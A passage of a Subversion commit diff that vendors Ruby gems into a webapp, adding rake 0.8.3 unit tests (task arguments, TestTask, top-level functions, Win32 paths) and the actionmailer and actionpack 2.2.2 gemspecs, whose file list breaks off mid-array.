+    assert_equal [:a, :b, :c, :d], notes
+  end
+
+  def test_arguments_are_passed_to_block
+    t = task(:t, :a, :b) { |tt, args|
+      assert_equal( { :a => 1, :b => 2 }, args.to_hash )
+    }
+    t.invoke(1, 2)
+  end
+
+  def test_extra_parameters_are_ignored
+    t = task(:t, :a) { |tt, args|
+      assert_equal 1, args.a
+      assert_nil args.b
+    }
+    t.invoke(1, 2)
+  end
+
+  def test_arguments_are_passed_to_all_blocks
+    counter = 0
+    t = task :t, :a
+    task :t do |tt, args|
+      assert_equal 1, args.a
+      counter += 1
+    end
+    task :t do |tt, args|
+      assert_equal 1, args.a
+      counter += 1
+    end
+    t.invoke(1)
+    assert_equal 2, counter
+  end
+
+  def test_block_with_no_parameters_is_ok
+    t = task(:t) { }
+    t.invoke(1, 2)
+  end
+
+  def test_name_with_args
+    desc "T"
+    t = task(:tt, :a, :b)
+    assert_equal "tt", t.name
+    assert_equal "T", t.comment
+    assert_equal "[a,b]", t.arg_description
+    assert_equal "tt[a,b]", t.name_with_args
+    assert_equal [:a, :b],t.arg_names
+  end
+
+  def test_named_args_are_passed_to_prereqs
+    value = nil
+    pre = task(:pre, :rev) { |t, args| value = args.rev }
+    t = task(:t, :name, :rev, :needs => [:pre])
+    t.invoke("bill", "1.2")
+    assert_equal "1.2", value
+  end
+
+  def test_args_not_passed_if_no_prereq_names
+    pre = task(:pre) { |t, args|
+      assert_equal({}, args.to_hash)
+      assert_equal "bill", args.name
+    }
+    t = task(:t, :name, :rev, :needs => [:pre])
+    t.invoke("bill", "1.2")
+  end
+
+  def test_args_not_passed_if_no_arg_names
+    pre = task(:pre, :rev) { |t, args|
+      assert_equal({}, args.to_hash)
+    }
+    t = task(:t, :needs => [:pre])
+    t.invoke("bill", "1.2")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_test_task.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_test_task.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_test_task.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,75 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake/testtask'
+
+class TestTestTask < Test::Unit::TestCase
+  include Rake
+  def setup
+    Task.clear
+    ENV.delete('TEST')
+  end
+
+  def teardown
+    FileUtils.rm_rf("testdata")
+  end
+
+  def test_no_task
+    assert ! Task.task_defined?(:test)
+  end
+
+  def test_defaults
+    tt = Rake::TestTask.new do |t| end
+    assert_not_nil tt
+    assert_equal :test, tt.name
+    assert_equal ['lib'], tt.libs
+    assert_equal 'test/test*.rb', tt.pattern
+    assert_equal false, tt.verbose
+    assert Task.task_defined?(:test)
+  end
+
+  def test_non_defaults
+    tt = Rake::TestTask.new(:example) do |t|
+      t.libs = ['src', 'ext']
+      t.pattern = 'test/tc_*.rb'
+      t.verbose = true
+    end
+    assert_not_nil tt
+    assert_equal :example, tt.name
+    assert_equal ['src', 'ext'], tt.libs
+    assert_equal 'test/tc_*.rb', tt.pattern
+    assert_equal true, tt.verbose
+    assert Task.task_defined?(:example)
+  end
+
+  def test_pattern
+    tt = Rake::TestTask.new do |t|
+      t.pattern = '*.rb'
+    end
+    assert_equal ['install.rb'], tt.file_list.to_a
+  end
+
+  def test_env_test
+    ENV['TEST'] = 'testfile.rb'
+    tt = Rake::TestTask.new do |t|
+      t.pattern = '*'
+    end
+    assert_equal ["testfile.rb"], tt.file_list.to_a
+  end
+
+  def test_test_files
+    tt = Rake::TestTask.new do |t|
+      t.test_files = FileList['a.rb', 'b.rb']
+    end
+    assert_equal ["a.rb", 'b.rb'], tt.file_list.to_a
+  end
+
+  def test_both_pattern_and_test_files
+    tt = Rake::TestTask.new do |t|
+      t.test_files = FileList['a.rb', 'b.rb']
+      t.pattern = '*.rb'
+    end
+    assert_equal ['a.rb', 'b.rb', 'install.rb'], tt.file_list.to_a
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_top_level_functions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_top_level_functions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_top_level_functions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,84 @@
+#!/usr/bin/env ruby
+
+begin
+  require 'rubygems'
+rescue LoadError
+  # got no gems
+end
+
+require 'test/unit'
+require 'test/capture_stdout'
+require 'rake'
+require 'flexmock/test_unit'
+
+class TestTopLevelFunctions < Test::Unit::TestCase
+  include CaptureStdout
+
+  def setup
+    super
+    @app = Rake.application
+    Rake.application = flexmock("app")
+  end
+
+  def teardown
+    Rake.application = @app
+    super
+  end
+
+  def test_namespace
+    Rake.application.should_receive(:in_namespace).with("xyz", any).once
+    namespace "xyz" do end
+  end
+
+  def test_import
+    Rake.application.should_receive(:add_import).with("x").once.ordered
+    Rake.application.should_receive(:add_import).with("y").once.ordered
+    Rake.application.should_receive(:add_import).with("z").once.ordered
+    import('x', 'y', 'z')
+  end
+
+  def test_when_writing
+    out = capture_stdout do
+      when_writing("NOTWRITING") do
+        puts "WRITING"
+      end
+    end
+    assert_equal "WRITING\n", out
+  end
+
+  def test_when_not_writing
+    RakeFileUtils.nowrite_flag = true
+    out = capture_stdout do
+      when_writing("NOTWRITING") do
+        puts "WRITING"
+      end
+    end
+    assert_equal "DRYRUN: NOTWRITING\n", out
+  ensure
+    RakeFileUtils.nowrite_flag = false
+  end
+
+  def test_missing_constants_task
+    Rake.application.should_receive(:const_warning).with(:Task).once
+    Object.const_missing(:Task)
+  end
+
+  def test_missing_constants_file_task
+    Rake.application.should_receive(:const_warning).with(:FileTask).once
+    Object.const_missing(:FileTask)
+  end
+
+  def test_missing_constants_file_creation_task
+    Rake.application.should_receive(:const_warning).with(:FileCreationTask).once
+    Object.const_missing(:FileCreationTask)
+  end
+
+  def test_missing_constants_rake_app
+    Rake.application.should_receive(:const_warning).with(:RakeApp).once
+    Object.const_missing(:RakeApp)
+  end
+
+  def test_missing_other_constant
+    assert_raise(NameError) do Object.const_missing(:Xyz) end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_win32.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_win32.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_win32.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,57 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'test/rake_test_setup'
+require 'test/in_environment'
+
+require 'rake'
+
+class TestWin32 < Test::Unit::TestCase
+  include InEnvironment
+
+  Win32 = Rake::Win32
+  
+  def test_win32_system_dir_uses_appdata_if_defined
+    in_environment('RAKE_SYSTEM' => nil, 'APPDATA' => '\\AD') do
+      assert_equal "/AD/Rake", Win32.win32_system_dir 
+    end
+  end
+
+  def test_win32_system_dir_uses_homedrive_otherwise
+    in_environment(
+      'RAKE_SYSTEM' => nil,
+      'APPDATA' => nil,
+      'HOMEDRIVE' => "C:",
+      "HOMEPATH" => "\\HP"
+      ) do
+      assert_equal "C:/HP/Rake", Win32.win32_system_dir
+    end
+  end
+
+  def test_win32_system_dir_uses_userprofile_otherwise
+    in_environment(
+      'RAKE_SYSTEM' => nil,
+      'APPDATA' => nil,
+      'HOMEDRIVE' => nil,
+      "HOMEPATH" => nil,
+      "USERPROFILE" => '\\UP'
+      ) do
+      assert_equal "/UP/Rake", Win32.win32_system_dir
+    end
+  end
+
+  def test_win32_system_dir_nil_of_no_env_vars
+    in_environment(
+      'RAKE_SYSTEM' => nil,
+      'APPDATA' => nil,
+      'HOMEDRIVE' => nil,
+      "HOMEPATH" => nil,
+      "USERPROFILE" => nil
+      ) do
+      assert_raise(Rake::Win32::Win32HomeError) do
+        Win32.win32_system_dir
+      end
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/actionmailer-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/actionmailer-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/actionmailer-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{actionmailer}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.autorequire = %q{action_mailer}
+  s.date = %q{2008-11-20}
+  s.description = %q{Makes it trivial to test and deliver emails sent from a single service layer.}
+  s.email = %q{david at loudthinking.com}
+  s.files = ["Rakefile", "install.rb", "README", "CHANGELOG", "MIT-LICENSE", "lib/action_mailer", "lib/action_mailer/adv_attr_accessor.rb", "lib/action_mailer/base.rb", "lib/action_mailer/helpers.rb", "lib/action_mailer/mail_helper.rb", "lib/action_mailer/part.rb", "lib/action_mailer/part_container.rb", "lib/action_mailer/quoting.rb", "lib/action_mailer/test_case.rb", "lib/action_mailer/test_helper.rb", "lib/action_mailer/utils.rb", "lib/action_mailer/vendor", "lib/action_mailer/vendor/text-format-0.6.3", "lib/action_mailer/vendor/text-format-0.6.3/text", "lib/action_mailer/vendor/text-format-0.6.3/text/format.rb", "lib/action_mailer/vendor/tmail-1.2.3", "lib/action_mailer/vendor/tmail-1.2.3/tmail", "lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb", "lib/action_mailer/vendor/tmail-1.2.3/tmail.rb", "lib/action_mailer/vendor.rb", "lib/action_mailer/version.rb", "lib/action_mailer.rb", "lib/actionmailer.rb", "test/abstract_unit.rb", "test/delivery_method_test.rb", "test/fixtures", "test/fixtures/auto_layout_mailer", "test/fixtures/auto_layout_mailer/hello.html.erb", "test/fixtures/explicit_layout_mailer", "test/fixtures/explicit_layout_mailer/logout.html.erb", "test/fixtures/explicit_layout_mailer/signup.html.erb", "test/fixtures/first_mailer", "test/fixtures/first_mailer/share.erb", "test/fixtures/helper_mailer", "test/fixtures/helper_mailer/use_example_helper.erb", "test/fixtures/helper_mailer/use_helper.erb", "test/fixtures/helper_mailer/use_helper_method.erb", "test/fixtures/helper_mailer/use_mail_helper.erb", "test/fixtures/helpers", "test/fixtures/helpers/example_helper.rb", "test/fixtures/layouts", "test/fixtures/layouts/auto_layout_mailer.html.erb", "test/fixtures/layouts/spam.html.erb", "test/fixtures/path.with.dots", "test/fixtures/path.with.dots/funky_path_mailer", "test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb", "test/fixtures/raw_email", "test/fixtures/raw_email10", "test/fixtures/raw_email12", "test/fixtures/raw_email13", "test/fixtures/raw_email2", "test/fixtures/raw_email3", "test/fixtures/raw_email4", "test/fixtures/raw_email5", "test/fixtures/raw_email6", "test/fixtures/raw_email7", "test/fixtures/raw_email8", "test/fixtures/raw_email9", "test/fixtures/raw_email_quoted_with_0d0a", "test/fixtures/raw_email_with_invalid_characters_in_content_type", "test/fixtures/raw_email_with_nested_attachment", "test/fixtures/raw_email_with_partially_quoted_subject", "test/fixtures/second_mailer", "test/fixtures/second_mailer/share.erb", "test/fixtures/templates", "test/fixtures/templates/signed_up.erb", "test/fixtures/test_mailer", "test/fixtures/test_mailer/_subtemplate.text.plain.erb", "test/fixtures/test_mailer/body_ivar.erb", "test/fixtures/test_mailer/custom_templating_extension.text.html.haml", "test/fixtures/test_mailer/custom_templating_extension.text.plain.haml", "test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb", "test/fixtures/test_mailer/implicitly_multipart_example.rhtml.bak", "test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb", "test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~", "test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb", "test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb", "test/fixtures/test_mailer/included_subtemplate.text.plain.erb", "test/fixtures/test_mailer/rxml_template.builder", "test/fixtures/test_mailer/rxml_template.rxml", "test/fixtures/test_mailer/signed_up.html.erb", "test/fixtures/test_mailer/signed_up_with_url.erb", "test/mail_helper_test.rb", "test/mail_layout_test.rb", "test/mail_render_test.rb", "test/mail_service_test.rb", "test/quoting_test.rb", "test/test_helper_test.rb", "test/tmail_test.rb", "test/url_test.rb"]
+  s.has_rdoc = true
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.require_paths = ["lib"]
+  s.requirements = ["none"]
+  s.rubyforge_project = %q{actionmailer}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Service layer for easy email delivery and testing.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<actionpack>, ["= 2.2.2"])
+    else
+      s.add_dependency(%q<actionpack>, ["= 2.2.2"])
+    end
+  else
+    s.add_dependency(%q<actionpack>, ["= 2.2.2"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/actionpack-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/actionpack-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/actionpack-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{actionpack}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.autorequire = %q{action_controller}
+  s.date = %q{2008-11-20}
+  s.description = %q{Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling easy unit/integration testing that doesn't require a browser.}
+  s.email = %q{david at loudthinking.com}
+  s.files = ["Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG", "MIT-LICENSE", "lib/action_controller", "lib/action_controller/assertions", "lib/action_controller/assertions/dom_assertions.rb", "lib/action_controller/assertions/model_assertions.rb", "lib/action_controller/assertions/response_assertions.rb", "lib/action_controller/assertions/routing_assertions.rb", "lib/action_controller/assertions/selector_assertions.rb", "lib/action_controller/assertions/tag_assertions.rb", "lib/action_controller/assertions.rb", "lib/action_controller/base.rb", "lib/action_controller/benchmarking.rb", "lib/action_controller/caching", "lib/action_controller/caching/actions.rb", "lib/action_controller/caching/fragments.rb", "lib/action_controller/caching/pages.rb", "lib/action_controller/caching/sql_cache.rb", "lib/action_controller/caching/sweeping.rb", "lib/action_controller/caching.rb", "lib/action_controller/cgi_ext", "lib/action_controller/cgi_ext/cookie.rb", "lib/action_controller/cgi_ext/query_extension.rb", "lib/action_controller/cgi_ext/session.rb", "lib/action_controller/cgi_ext/stdinput.rb", "lib/action_controller/cgi_ext.rb", "lib/action_controller/cgi_process.rb", "lib/action_controller/components.rb", "lib/action_controller/cookies.rb", "lib/action_controller/dispatcher.rb", "lib/action_controller/filters.rb", "lib/action_controller/flash.rb", "lib/action_controller/headers.rb", "lib/action_controller/helpers.rb", "lib/action_controller/http_authentication.rb", "lib/action_controller/integration.rb", "lib/action_controller/layout.rb", "lib/action_controller/mime_responds.rb", "lib/action_controller/mime_type.rb", "lib/action_controller/mime_types.rb", "lib/action_controller/performance_test.rb", "lib/action_controller/polymorphic_routes.rb", "lib/action_controller/rack_process.rb", "lib/action_controller/record_identifier.rb", "lib/action_controller/request.rb", "lib/action_controller/request_forgery_protection.rb", "lib/action_controller/request_profiler.rb", "lib/action_controller/rescue.rb", "lib/action_controller/resources.rb", "lib/action_controller/response.rb", "lib/action_controller/routing", "lib/action_controller/routing/builder.rb", "lib/action_controller/routing/optimisations.rb", "lib/action_controller/routing/recognition_optimisation.rb", "lib/action_controller/routing/route.rb", "lib/action_controller/routing/route_set.rb", "lib/action_controller/routing/routing_ext.rb", "lib/action_controller/routing/segments.rb", "lib/action_controller/routing.rb", "lib/action_controller/session", "lib/action_controller/session/active_record_store.rb", "lib/action_controller/session/cookie_store.rb", "lib/action_controller/session/drb_server.rb", "lib/action_controller/session/drb_store.rb", "lib/action_controller/session/mem_cache_store.rb", "lib/action_controller/session_management.rb", "lib/action_controller/status_codes.rb", "lib/action_controller/streaming.rb", "lib/action_controller/templates", "lib/action_controller/templates/rescues", "lib/action_controller/templates/rescues/_request_and_response.erb", "lib/action_controller/templates/rescues/_trace.erb", "lib/action_controller/templates/rescues/diagnostics.erb", "lib/action_controller/templates/rescues/layout.erb", "lib/action_controller/templates/rescues/missing_template.erb", "lib/action_controller/templates/rescues/routing_error.erb", "lib/action_controller/templates/rescues/template_error.erb", "lib/action_controller/templates/rescues/unknown_action.erb", "lib/action_controller/test_case.rb", "lib/action_controller/test_process.rb", "lib/action_controller/translation.rb", "lib/action_controller/url_rewriter.rb", "lib/action_controller/vendor", "lib/action_controller/vendor/html-scanner", "lib/action_controller/vendor/html-scanner/html", "lib/action_controller/vendor/html-scanner/html/document.rb", "lib/action_controller/vendor/html-scanner/html/node.rb", "lib/action_controller/vendor/html-scanner/html/sanitizer.rb", "lib/action_controller/vendor/html-scanner/html/selector.rb", "lib/action_controller/vendor/html-scanner/html/tokenizer.rb", "lib/action_controller/vendor/html-scanner/html/version.rb", "lib/action_controller/verification.rb", "lib/action_controller.rb", "lib/action_pack", "lib/action_pack/version.rb", "lib/action_pack.rb", "lib/action_view", "lib/action_view/base.rb", "lib/action_view/helpers", "lib/action_view/helpers/active_record_helper.rb", "lib/action_view/helpers/asset_tag_helper.rb", "lib/action_view/helpers/atom_feed_helper.rb", "lib/action_view/helpers/benchmark_helper.rb", "lib/action_view/helpers/cache_helper.rb", "lib/action_view/helpers/capture_helper.rb", "lib/action_view/helpers/date_helper.rb", "lib/action_view/helpers/debug_helper.rb", "lib/action_view/helpers/form_helper.rb", "lib/action_view/helpers/form_options_helper.rb", "lib/action_view/helpers/form_tag_helper.rb", "lib/action_view/helpers/javascript_helper.rb", "lib/action_view/helpers/javascripts", "lib/action_view/helpers/number_helper.rb", "lib/action_view/helpers/prototype_helper.rb", "lib/action_view/helpers/record_identification_helper.rb", "lib/action_view/helpers/record_tag_helper.rb", "lib/action_view/helpers/sanitize_helper.rb", "lib/action_view/helpers/scriptaculous_helper.rb", "lib/action_view/helpers/tag_helper.rb", "lib/action_view/helpers/text_helper.rb", "lib/action_view/helpers/translation_helper.rb", "lib/action_view/helpers/url_helper.rb", "lib/action_view/helpers.rb", "lib/action_view/inline_template.rb", "lib/action_view/locale", "lib/action_view/locale/en.yml", "lib/action_view/partials.rb", "lib/action_view/paths.rb", "lib/action_view/renderable.rb", "lib/action_view/renderable_partial.rb", "lib/action_view/template.rb", "lib/action_view/template_error.rb", "lib/action_view/template_handler.rb", "lib/action_view/template_handlers", "lib/action_view/template_handlers/builder.rb", "lib/action_view/template_handlers/erb.rb", "lib/action_view/template_handlers/rjs.rb", "lib/action_view/template_handlers.rb", "lib/action_view/test_case.rb", "lib/action_view.rb", "lib/actionpack.rb", "test/abstract_unit.rb", "test/active_record_unit.rb", "test/activerecord", "test/activerecord/active_record_store_test.rb", "test/activerecord/render_partial_with_record_identification_test.rb", "test/adv_attr_test.rb", "test/controller", "test/controller/action_pack_assertions_test.rb", "test/controller/addresses_render_test.rb", "test/controller/assert_select_test.rb", "test/controller/base_test.rb", "test/controller/benchmark_test.rb", "test/controller/caching_test.rb", "test/controller/capture_test.rb", "test/controller/cgi_test.rb", "test/controller/components_test.rb", "test/controller/content_type_test.rb", "test/controller/controller_fixtures", "test/controller/controller_fixtures/app", "test/controller/controller_fixtures/app/controllers", "test/controller/controller_fixtures/app/controllers/admin", "test/controller/controller_fixtures/app/controllers/admin/user_controller.rb", "test/controller/controller_fixtures/app/controllers/user_controller.rb", "test/controller/controller_fixtures/vendor", "test/controller/controller_fixtures/vendor/plugins", "test/controller/controller_fixtures/vendor/plugins/bad_plugin", "test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib", "test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb", "test/controller/cookie_test.rb", "test/controller/deprecation", "test/controller/deprecation/deprecated_base_methods_test.rb", "test/controller/dispatcher_test.rb", "test/controller/fake_controllers.rb", "test/controller/fake_models.rb", "test/controller/filter_params_test.rb", "test/controller/filters_test.rb", "test/controller/flash_test.rb", "test/controller/header_test.rb", "test/controller/helper_test.rb", "test/controller/html-scanner", "test/controller/html-scanner/cdata_node_test.rb", "test/controller/html-scanner/document_test.rb", "test/controller/html-scanner/node_test.rb", "test/controller/html-scanner/sanitizer_test.rb", "test/controller/html-scanner/tag_node_test.rb", "test/controller/html-scanner/text_node_test.rb", "test/controller/html-scanner/tokenizer_test.rb", "test/controller/http_authentication_test.rb", "test/controller/integration_test.rb", "test/controller/integration_upload_test.rb", "test/controller/layout_test.rb", "test/controller/logging_test.rb", "test/controller/mime_responds_test.rb", "test/controller/mime_type_test.rb", "test/controller/polymorphic_routes_test.rb", "test/controller/rack_test.rb", "test/controller/record_identifier_test.rb", "test/controller/redirect_test.rb", "test/controller/render_test.rb", "test/controller/request_forgery_protection_test.rb", "test/controller/request_test.rb", "test/controller/rescue_test.rb", "test/controller/resources_test.rb", "test/controller/routing_test.rb", "test/controller/selector_test.rb", "test/controller/send_file_test.rb", "test/controller/session", "test/controller/session/cookie_store_test.rb", "test/controller/session/mem_cache_store_test.rb", "test/controller/session_fixation_test.rb", "test/controller/session_management_test.rb", "test/controller/test_test.rb", "test/controller/translation_test.rb", "test/controller/url_rewriter_test.rb", "test/controller/verification_test.rb", "test/controller/view_paths_test.rb", "test/controller/webservice_test.rb", "test/fixtures", "test/fixtures/_top_level_partial.html.erb", "test/fixtures/_top_level_partial_only.erb", "test/fixtures/addresses", "test/fixtures/addresses/list.erb", "test/fixtures/bad_customers", "test/fixtures/bad_customers/_bad_customer.html.erb", "test/fixtures/companies.yml", "test/fixtures/company.rb", "test/fixtures/content_type", "test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml", "test/fixtures/content_type/render_default_for_rhtml.rhtml", "test/fixtures/content_type/render_default_for_rjs.rjs", "test/fixtures/content_type/render_default_for_rxml.rxml", "test/fixtures/customers", "test/fixtures/customers/_customer.html.erb", "test/fixtures/db_definitions", "test/fixtures/db_definitions/sqlite.sql", "test/fixtures/developer.rb", "test/fixtures/developers", "test/fixtures/developers/_developer.erb", "test/fixtures/developers.yml", "test/fixtures/developers_projects.yml", "test/fixtures/fun", "test/fixtures/fun/games", "test/fixtures/fun/games/_game.erb", "test/fixtures/fun/games/hello_world.erb", "test/fixtures/fun/serious", "test/fixtures/fun/serious/games", "test/fixtures/fun/serious/games/_game.erb", "test/fixtures/functional_caching", "test/fixtures/functional_caching/_partial.erb", "test/fixtures/functional_caching/formatted_fragment_cached.html.erb", "test/fixtures/functional_caching/formatted_fragment_cached.js.rjs", "test/fixtures/functional_caching/formatted_fragment_cached.xml.builder", "test/fixtures/functional_caching/fragment_cached.html.erb", "test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb", "test/fixtures/functional_caching/inline_fragment_cached.html.erb", "test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs", "test/fixtures/good_customers", "test/fixtures/good_customers/_good_customer.html.erb", "test/fixtures/helpers", "test/fixtures/helpers/abc_helper.rb", "test/fixtures/helpers/fun", "test/fixtures/helpers/fun/games_helper.rb", "test/fixtures/helpers/fun/pdf_helper.rb", "test/fixtures/layout_tests", "test/fixtures/layout_tests/alt", "test/fixtures/layout_tests/alt/hello.rhtml", "test/fixtures/layout_tests/layouts", "test/fixtures/layout_tests/layouts/controller_name_space", "test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml", "test/fixtures/layout_tests/layouts/item.rhtml", "test/fixtures/layout_tests/layouts/layout_test.rhtml", "test/fixtures/layout_tests/layouts/multiple_extensions.html.erb", "test/fixtures/layout_tests/layouts/symlinked", "test/fixtures/layout_tests/layouts/third_party_template_library.mab", "test/fixtures/layout_tests/views", "test/fixtures/layout_tests/views/hello.rhtml", "test/fixtures/layouts", "test/fixtures/layouts/_column.html.erb", "test/fixtures/layouts/block_with_layout.erb", "test/fixtures/layouts/builder.builder", "test/fixtures/layouts/partial_with_layout.erb", "test/fixtures/layouts/standard.erb", "test/fixtures/layouts/talk_from_action.erb", "test/fixtures/layouts/yield.erb", "test/fixtures/mascot.rb", "test/fixtures/mascots", "test/fixtures/mascots/_mascot.html.erb", "test/fixtures/mascots.yml", "test/fixtures/multipart", "test/fixtures/multipart/binary_file", "test/fixtures/multipart/boundary_problem_file", "test/fixtures/multipart/bracketed_param", "test/fixtures/multipart/large_text_file", "test/fixtures/multipart/mixed_files", "test/fixtures/multipart/mona_lisa.jpg", "test/fixtures/multipart/single_parameter", "test/fixtures/multipart/text_file", "test/fixtures/override", "test/fixtures/override/test", "test/fixtures/override/test/hello_world.erb", "test/fixtures/override2", "test/fixtures/override2/layouts", "test/fixtures/override2/layouts/test", "test/fixtures/override2/layouts/test/sub.erb", "test/fixtures/post_test", "test/fixtures/post_test/layouts", "test/fixtures/post_test/layouts/post.html.erb", "test/fixtures/post_test/layouts/super_post.iphone.erb", "test/fixtures/post_test/post", "test/fixtures/post_test/post/index.html.erb", "test/fixtures/post_test/post/index.iphone.erb", "test/fixtures/post_test/super_post", "test/fixtures/post_test/super_post/index.html.erb", "test/fixtures/post_test/super_post/index.iphone.erb", "test/fixtures/project.rb", "test/fixtures/projects", "test/fixtures/projects/_project.erb", "test/fixtures/projects.yml", "test/fixtures/public", "test/fixtures/public/404.html", "test/fixtures/public/500.html", "test/fixtures/public/images", "test/fixtures/public/images/rails.png", "test/fixtures/public/javascripts", "test/fixtures/public/javascripts/application.js", "test/fixtures/public/javascripts/bank.js", "test/fixtures/public/javascripts/cache", "test/fixtures/public/javascripts/controls.js", "test/fixtures/public/javascripts/dragdrop.js", "test/fixtures/public/javascripts/effects.js", "test/fixtures/public/javascripts/prototype.js", "test/fixtures/public/javascripts/robber.js", "test/fixtures/public/javascripts/subdir", "test/fixtures/public/javascripts/subdir/subdir.js", "test/fixtures/public/javascripts/version.1.0.js", "test/fixtures/public/stylesheets", "test/fixtures/public/stylesheets/bank.css", "test/fixtures/public/stylesheets/robber.css", "test/fixtures/public/stylesheets/subdir", "test/fixtures/public/stylesheets/subdir/subdir.css", "test/fixtures/public/stylesheets/version.1.0.css", "test/fixtures/replies", "test/fixtures/replies/_reply.erb", "test/fixtures/replies.yml", "test/fixtures/reply.rb", "test/fixtures/respond_to", "test/fixtures/respond_to/all_types_with_layout.html.erb", "test/fixtures/respond_to/all_types_with_layout.js.rjs", "test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb", "test/fixtures/respond_to/iphone_with_html_response_type.html.erb", "test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb", "test/fixtures/respond_to/layouts", "test/fixtures/respond_to/layouts/missing.html.erb", "test/fixtures/respond_to/layouts/standard.html.erb", "test/fixtures/respond_to/layouts/standard.iphone.erb", "test/fixtures/respond_to/using_defaults.html.erb", "test/fixtures/respond_to/using_defaults.js.rjs", "test/fixtures/respond_to/using_defaults.xml.builder", "test/fixtures/respond_to/using_defaults_with_type_list.html.erb", "test/fixtures/respond_to/using_defaults_with_type_list.js.rjs", "test/fixtures/respond_to/using_defaults_with_type_list.xml.builder", "test/fixtures/scope", "test/fixtures/scope/test", "test/fixtures/scope/test/modgreet.erb", "test/fixtures/shared.html.erb", "test/fixtures/symlink_parent", 